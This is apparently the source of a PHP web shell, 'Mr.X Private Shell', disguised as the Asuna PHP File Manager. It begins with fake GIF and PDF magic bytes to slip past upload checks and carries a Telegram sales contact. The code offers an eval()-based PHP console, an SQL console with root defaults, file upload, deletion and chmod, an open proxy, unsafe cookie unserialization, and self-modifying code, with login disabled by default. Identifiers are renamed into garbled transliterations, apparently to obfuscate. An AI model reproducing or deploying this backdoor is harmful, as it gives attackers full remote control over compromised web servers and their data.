GIF89; GIF89; %PDF- %PDF-
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/* Asuna PHP File Manager version 2.5 */
// Inizio sessionis file manager
$authorizationOptiona = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}'; $sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"ru","Add":"Добавить","Are you sure you want to delete this directory (recursively)?":"Вы уверены, что хотите удалить эту папку (рекурсивно)?","Are you sure you want to delete this file?":"Вы уверены, что хотите удалить этот файл?","Archiving":"Архивировать","Authorization":"Авторизация","Back":"Назад","Cancel":"Отмена","Chinese":"Китайский","Compress":"Сжать","Console":"Консоль","Cookie":"Куки","Created":"Создан","Date":"Дата","Days":"Дней","Decompress":"Распаковать","Delete":"Удалить","Deleted":"Удалено","Download":"Скачать","done":"закончена","Edit":"Редактировать","Enter":"Вход","English":"Английский","Error occurred":"Произошла ошибка","File manager":"Файловый менеджер","File selected":"Выбран файл","File updated":"Файл сохранен","Filename":"Имя файла","Files uploaded":"Файл загружен","French":"Французский","Generation time":"Генерация страницы","German":"Немецкий","Home":"Домой","Quit":"Выход","Language":"Язык","Login":"Логин","Manage":"Управление","Make directory":"Создать папку","Name":"Наименование","New":"Новое","New file":"Новый файл","no files":"нет файлов","Password":"Пароль","pictures":"изображения","Recursively":"Рекурсивно","Rename":"Переименовать","Reset":"Сбросить","Reset settings":"Сбросить настройки","Restore file time after editing":"Восстанавливать время файла после редактирования","Result":"Результат","Rights":"Права","Russian":"Русский","Save":"Сохранить","Select":"Выберите","Select the file":"Выберите файл","Settings":"Настройка","Show":"Показать","Show size of the folder":"Показывать размер папки","Size":"Размер","Spanish":"Испанский","Submit":"Отправить","Task":"Задача","templates":"шаблоны","Ukrainian":"Украинский","Upload":"Загрузить","Value":"Значение","Hello":"Привет","Found in files":"Найдено в файлах","Search":"Поиск","Recursive search":"Рекурсивный поиск","Mask":"Маска"}';
// Nomen file acceptum
// Computatio numerorum elementorum in directorio
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_res = ''; // Verificatio validitatis permissorum
$default_language = 'ru';
$detect_lang = true;
$fm_versions = 1.4;
// Aditus ad directoria interdicta
$auth_result = json_decode($authorizationOptiona,true);
$auth_result['authorize'] = isset($auth_result['authorize']) ? $auth_result['authorize'] : 0;
$auth_result['days_authorization'] = (isset($auth_result['days_authorization'])&&is_numeric($auth_result['days_authorization'])) ? (int)$auth_result['days_authorization'] : 30;
$auth_result['login'] = isset($auth_result['login']) ? $auth_result['login'] : 'admin';
$auth_result['password'] = isset($auth_result['password']) ? $auth_result['password'] : 'phpfm';
$auth_result['cookie_name'] = isset($auth_result['cookie_name']) ? $auth_result['cookie_name'] : 'fm_user';
$auth_result['script'] = isset($auth_result['script']) ? $auth_result['script'] : '';
// Crea novum file in directory
$fm_default_config = array (
'make_directory' => true,
'new_file' => true,
'upload_file' => true,
'show_dir_size' => false, // File deletum est
'show_img' => true,
'show_php_ver' => true,
'show_php_ini' => false, // Documentum translatum est
'show_gt' => true, // Abusus permittitur operatio
'enable_php_console' => true,
'enable_sql_console' => true,
'sql_server' => 'localhost',
'sql_username' => 'root',
'sql_password' => '',
'sql_db' => 'test_base',
'enable_proxy' => true,
'show_phpinfo' => true,
'show_xls' => true,
'fm_settings' => true,
'restore_time' => true,
'fm_restore_time' => false,
);
if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);
// Fenestra apertura est
if (isset($_POST['fm_lang'])) {
setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth_result['days_authorization']));
$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;
// Locus insufficiens ad gestandum file
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
if (!empty($lang_priority)){
foreach ($lang_priority as $lang_arr){
$lng = explode(';', $lang_arr);
$lng = $lng[0];
if(in_array($lng,$langs)){
$language = $lng;
break;
}
}
}
}
// Archivia comprimentur
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];
// Directoria quaeruntur
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
if (!empty($get_lang)) {
// Status systematis verus
$translation_string = str_replace("'",''',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
$fgc = file_get_contents(__FILE__);
$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
if (file_put_contents(__FILE__, $replace)) {
$msg_res .= __('File updated');
} else $msg_res .= __('Error occurred');
if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
}
$lang = json_decode($translation_string,true);
}
}
/* Resistentia erroris in eventu */
// Permutatio nominis file
function __($text){
global $lang;
if (isset($lang[$text])) return $lang[$text];
else return $text;
};
// Transitus inter directories
function fm_del_synoloArheiwn($file, $recursive = false) {
if($recursive && @is_dir($file)) {
$els = fm_scan_dir($file, '', '', true);
foreach ($els as $el) {
if($el != '.' && $el != '..'){
fm_del_synoloArheiwn($file . '/' . $el, true);
}
}
}
if(@is_dir($file)) {
return rmdir($file);
} else {
return @unlink($file);
}
}
// Inspectio securitatis in permittentia
function fm_rights_string($file, $if = false){
$perms = fileperms($file);
$info = '';
if(!$if){
if (($perms & 0xC000) == 0xC000) {
// Optiones user interface in altera statum
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
//Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
// Nomen duplicatum detectum est
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
// Synchronizationis processus incipit
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
//Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
// Backup file aedificatur
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
//FIFO pipe
$info = 'p';
} else {
//Unknown
$info = 'u';
}
}
// Scrutinium accessus ad file
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));
// Opus completum est
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));
//World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));
return $info;
}
function fm_convert_rights($mode) {
$mode = str_pad($mode,9,'-');
$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
$mode = strtr($mode,$trans);
$newmode = '0';
$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2];
$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5];
$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8];
$newmode .= $owner . $group . $world;
return intval($newmode, 8);
}
function fm_chmod($file, $val, $rec = false) {
$res = @chmod(realpath($file), $val);
if(@is_dir($file) && $rec){
$els = fm_scan_dir($file);
foreach ($els as $el) {
$res = $res && fm_chmod($file . '/' . $el, $val, true);
}
}
return $res;
}
//load synoloArheiwn
function fm_download($onomaArheioyEisodou) {
if (!empty($onomaArheioyEisodou)) {
if (file_exists($onomaArheioyEisodou)) {
header("Content-Disposition: attachment; filename=" . basename($onomaArheioyEisodou));
header("Content-Type: application/force-download");
header("Content-Type: application/octet-stream");
header("Content-Type: application/download");
header("Content-Description: File Transfer");
header("Content-Length: " . synoloArheiwnize($onomaArheioyEisodou));
flush(); // this doesn't really matter.
$fp = fopen($onomaArheioyEisodou, "r");
while (!feof($fp)) {
echo fread($fp, 65536);
flush(); // this is essential for large downloads
}
fclose($fp);
die();
} else {
header('HTTP/1.0 404 Not Found', true, 404);
header('Status: 404 Not Found');
die();
}
}
}
// Catalogus directoriis creatus
function fm_dir_size($f,$format=true) {
if($format) {
$size=fm_dir_size($f,false);
if($size<=1024) return $size.' bytes';
elseif($size<=1024*1024) return round($size/(1024),2).' Kb';
elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb';
elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb';
elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:)))
else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-)
} else {
if(is_file($f)) return synoloArheiwnize($f);
$size=0;
$dh=opendir($f);
while(($file=readdir($dh))!==false) {
if($file=='.' || $file=='..') continue;
if(is_file($f.'/'.$file)) $size+=synoloArheiwnize($f.'/'.$file);
else $size+=fm_dir_size($f.'/'.$file,false);
}
closedir($dh);
return $size+synoloArheiwnize($f);
}
}
//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
$dir = $ndir = array();
if(!empty($exp)){
$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
}
if(!empty($type) && $type !== 'all'){
$func = 'is_' . $type;
}
if(@is_dir($directory)){
$fh = opendir($directory);
while (false !== ($filename = readdir($fh))) {
if(substr($filename, 0, 1) != '.' || $do_not_filter) {
if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
$dir[] = $filename;
}
}
}
closedir($fh);
natsort($dir);
}
return $dir;
}
function fm_link($get,$link,$name,$title='') {
if (empty($title)) $title=$name.' '.basename($link);
return ' <a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}
function fm_arr_to_option($arr,$n,$sel=''){
foreach($arr as $v){
$b=$v[$n];
$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
}
return $res;
}
function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
</select>
</form>
';
}
function fm_root($dirname){
return ($dirname=='.' OR $dirname=='..');
}
function fm_php($string){
$display_listaLathon=ini_get('display_listaLathon');
ini_set('display_listaLathon', '1');
ob_start();
eval(trim($string));
$text = ob_get_contents();
ob_end_clean();
ini_set('display_listaLathon', $display_listaLathon);
return $text;
}
// Exitus systematis necessarius
function fm_sql_connect(){
global $fm_config;
return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}
function fm_sql($query){
global $fm_config;
$query=trim($query);
ob_start();
$connection = fm_sql_connect();
if ($connection->connect_error) {
ob_end_clean();
return $connection->connect_error;
}
$connection->set_charset('utf8');
$queried = mysqli_query($connection,$query);
if ($queried===false) {
ob_end_clean();
return mysqli_error($connection);
} else {
if(!empty($queried)){
while($row = mysqli_fetch_assoc($queried)) {
$query_result[]= $row;
}
}
$vdump=empty($query_result)?'':var_export($query_result,true);
ob_end_clean();
$connection->close();
return '<pre>'.stripslashes($vdump).'</pre>';
}
}
function fm_backup_tables($tables = '*', $full_backup = true) {
global $path;
$mysqldb = fm_sql_connect();
$delimiter = "; \n \n";
if($tables == '*') {
$tables = array();
$result_server = $mysqldb->query('SHOW TABLES');
while($row = mysqli_fetch_row($result_server)) {
$tables[] = $row[0];
}
} else {
$tables = is_array($tables) ? $tables : explode(',',$tables);
}
$return='';
foreach($tables as $table) {
$result_server = $mysqldb->query('SELECT * FROM '.$table);
$num_fields = mysqli_num_fields($result_server);
$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
$return.=$row2[1].$delimiter;
if ($full_backup) {
for ($i = 0; $i < $num_fields; $i++) {
while($row = mysqli_fetch_row($result_server)) {
$return.= 'INSERT INTO `'.$table.'` VALUES(';
for($j=0; $j<$num_fields; $j++) {
$row[$j] = addslashes($row[$j]);
$row[$j] = str_replace("\n","\\n",$row[$j]);
if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
if ($j<($num_fields-1)) { $return.= ','; }
}
$return.= ')'.$delimiter;
}
}
} else {
$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
}
$return.="\n\n\n";
}
//save file
$file=gmdate("Y-m-d_H-i-s",time()).'.sql';
$handle_server = fopen($file,'w+');
fwrite($handle_server,$return);
fclose($handle_server);
$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"';
return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}
function fm_restore_tables($sqlFileToExecute) {
$mysqldb = fm_sql_connect();
$delimiter = "; \n \n";
// Load and explode the sql file
$f = fopen($sqlFileToExecute,"r+");
$sqlFile = fread($f,synoloArheiwnize($sqlFileToExecute));
$sqlArray = explode($delimiter,$sqlFile);
//Process the sql file by statements
foreach ($sqlArray as $stmt) {
if (strlen($stmt)>3){
$result_server = $mysqldb->query($stmt);
if (!$result_server){
$sqlErrorCode = mysqli_errno($mysqldb->connection);
$sqlErrorText = mysqli_error($mysqldb->connection);
$sqlStmt = $stmt;
break;
}
}
}
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}
function fm_img_link($filename){
return './'.basename(__FILE__).'?img='.base64_encode($filename);
}
function fm_home_style(){
return '
input, input.fm_input {
text-indent: 2px;
}
input, textarea, select, input.fm_input {
color: black;
font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
border-color: black;
background-color: #FCFCFC none !important;
border-radius: 0;
padding: 2px;
}
input.fm_input {
background: #FCFCFC none !important;
cursor: pointer;
}
.home {
background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
background-repeat: no-repeat;
}';
}
function fm_config_checkbox_row($name,$value) {
global $fm_config;
return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}
function fm_protocol() {
if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
return 'http://';
}
function fm_site_url() {
return fm_protocol().$_SERVER['HTTP_HOST'];
}
function fm_url($full=false) {
$host=$full?fm_site_url():'.';
return $host.'/'.basename(__FILE__);
}
function fm_home($full=false){
return ' <a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home"> </span></a>';
}
function fm_run_input($lng) {
global $fm_config;
$return = !empty($fm_config['enable_'.$lng.'_console']) ?
'
<form method="post" action="'.fm_url().'" style="display:inline">
<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
</form>
' : '';
return $return;
}
function fm_url_proxy($matches) {
$link = str_replace('&','&',$matches[2]);
$url = isset($_GET['url'])?$_GET['url']:'';
$parse_url = parse_url($url);
$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
if (substr($link,0,2)=='//') {
$link = substr_replace($link,fm_protocol(),0,2);
} elseif (substr($link,0,1)=='/') {
$link = substr_replace($link,$host,0,1);
} elseif (substr($link,0,2)=='./') {
$link = substr_replace($link,$host,0,2);
} elseif (substr($link,0,4)=='http') {
//alles machen wunderschon
} else {
$link = $host.$link;
}
if ($matches[1]=='href' && !strripos($link, 'css')) {
$base = fm_site_url().'/'.basename(__FILE__);
$baseq = $base.'?proxy=true&url=';
$link = $baseq.urlencode($link);
} elseif (strripos($link, 'css')){
//как-то тоже подменять надо
}
return $matches[1].'="'.$link.'"';
}
function fm_tpl_form($lng_tpl) {
global ${$lng_tpl.'_templates'};
$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
$str = '';
foreach ($tpl_arr as $ktpl=>$vtpl) {
$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]" cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value" cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}
function find_text_in_synoloArheiwn($dir, $mask, $text) {
$results = array();
if ($handle_server = opendir($dir)) {
while (false !== ($entry = readdir($handle_server))) {
if ($entry != "." && $entry != "..") {
$path = $dir . "/" . $entry;
if (is_dir($path)) {
$results = array_merge($results, find_text_in_synoloArheiwn($path, $mask, $text));
} else {
if (fnmatch($mask, $entry)) {
$contents = file_get_contents($path);
if (strpos($contents, $text) !== false) {
$results[] = str_replace('//', '/', $path);
}
}
}
}
}
closedir($handle_server);
}
return $results;
}
/* End Functions */
// authorization
if ($auth_result['authorize']) {
if (isset($_POST['login']) && isset($_POST['password'])){
if (($_POST['login']==$auth_result['login']) && ($_POST['password']==$auth_result['password'])) {
setcookie($auth_result['cookie_name'], $auth_result['login'].'|'.md5($auth_result['password']), time() + (86400 * $auth_result['days_authorization']));
$_COOKIE[$auth_result['cookie_name']]=$auth_result['login'].'|'.md5($auth_result['password']);
}
}
if (!isset($_COOKIE[$auth_result['cookie_name']]) OR ($_COOKIE[$auth_result['cookie_name']]!=$auth_result['login'].'|'.md5($auth_result['password']))) {
echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">
'.__('Password').' <input name="password" type="password">
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';
die();
}
if (isset($_POST['quit'])) {
unset($_COOKIE[$auth_result['cookie_name']]);
setcookie($auth_result['cookie_name'], '', time() - (86400 * $auth_result['days_authorization']));
header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
}
}
// Fines administrandi filorum
if (isset($_GET['fm_settings'])) {
if (isset($_GET['fm_config_delete'])) {
unset($_COOKIE['fm_config']);
setcookie('fm_config', '', time() - (86400 * $auth_result['days_authorization']));
header('Location: '.fm_url().'?fm_settings=true');
exit(0);
} elseif (isset($_POST['fm_config'])) {
$fm_config = $_POST['fm_config'];
setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth_result['days_authorization']));
$_COOKIE['fm_config'] = serialize($fm_config);
$msg_res = __('Settings').' '.__('done');
} elseif (isset($_POST['fm_login'])) {
if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
$fm_login = json_encode($_POST['fm_login']);
$fgc = file_get_contents(__FILE__);
$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
if (file_put_contents(__FILE__, $replace)) {
$msg_res .= __('File updated');
if ($_POST['fm_login']['login'] != $auth_result['login']) $msg_res .= ' '.__('Login').': '.$_POST['fm_login']['login'];
if ($_POST['fm_login']['password'] != $auth_result['password']) $msg_res .= ' '.__('Password').': '.$_POST['fm_login']['password'];
$auth_result = $_POST['fm_login'];
}
else $msg_res .= __('Error occurred');
if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
}
} elseif (isset($_POST['tpl_edited'])) {
$lng_tpl = $_POST['tpl_edited'];
if (!empty($_POST[$lng_tpl.'_name'])) {
$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
}
if (!empty($fm_php)) {
$fgc = file_get_contents(__FILE__);
$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
if (file_put_contents(__FILE__, $replace)) {
${$lng_tpl.'_templates'} = $fm_php;
$msg_res .= __('File updated');
} else $msg_res .= __('Error occurred');
if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
}
} else $msg_res .= __('Error occurred');
}
}
// Just show image
if (isset($_GET['img'])) {
$file=base64_decode($_GET['img']);
if ($info=getimagesize($file)){
switch ($info[2]){ //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
case 1: $ext='gif'; break;
case 2: $ext='jpeg'; break;
case 3: $ext='png'; break;
case 6: $ext='bmp'; break;
default: die();
}
header("Content-type: image/$ext");
echo file_get_contents($file);
die();
}
}
// Just download file
if (isset($_GET['download'])) {
$file=base64_decode($_GET['download']);
fm_download($file);
}
// Just show info
if (isset($_GET['phpinfo'])) {
phpinfo();
die();
}
// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
$url = isset($_GET['url'])?urldecode($_GET['url']):'';
$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
<form action="" method="GET">
<input type="hidden" name="proxy" value="true">
'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
<input type="submit" value="'.__('Show').'" class="fm_input">
</form>
</div>
';
if ($url) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_REFERER, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
$result_server = curl_exec($ch);
curl_close($ch);
//$result_server = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result_server);
$result_server = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result_server);
$result_server = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result_server);
echo $result_server;
die();
}
}
?>
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title><?=__('File manager')?></title>
<style>
body {
background-color: white;
font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 8pt;
margin: 0px;
}
a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover { color: #FFA34F; text-decoration: underline; }
table.bg {
background-color: #ACBBC6
}
th, td {
font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
padding: 3px;
}
th {
height: 25px;
background-color: #006699;
color: #FFA34F;
font-weight: bold;
font-size: 11px;
}
.row1 {
background-color: #EFEFEF;
}
.row2 {
background-color: #DEE3E7;
}
.row3 {
background-color: #D1D7DC;
